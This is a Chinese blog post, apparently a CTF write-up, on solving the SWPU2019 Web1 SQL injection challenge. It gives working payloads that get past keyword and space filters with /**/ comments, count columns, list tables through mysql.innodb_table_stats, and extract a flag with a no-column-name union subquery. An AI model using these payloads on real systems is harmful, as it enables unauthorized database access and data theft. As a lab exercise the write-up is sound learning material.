[SWPU2019]Web1 1

这是一道非常典型的sql注入题目

image

首先引入眼帘的是一个登录框
我们进行sql注入的尝试 该输入框排除为注入点的可能
注册并登录后
image
对广告发布功能进行测试:
image
image
对关键字进行了过滤 经fuzz测试
image
发现其对空格 or and information_schema 等关键字进行了过滤
我们先对回显进行判断
1'/**/group/**/by/**/30,',
image
小于30
1'/**/group/**/by/**/20,',
大于20
最终测试所得为 22 列
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'测试回显位
image
回显位为2,3
查用户 查库名
1'/**/union/**/select/**/1,user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
根据库名查表名
1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1
image
进行无列名注入
猜测用户信息有三列 id usernam passwd
image
经过三次尝试 flag在第三列:
image

1'/**/union/**/select/**/1,
(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n)
,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

image

posted @ 2024-05-22 11:51  f0r9  阅读(11)  评论(0编辑  收藏  举报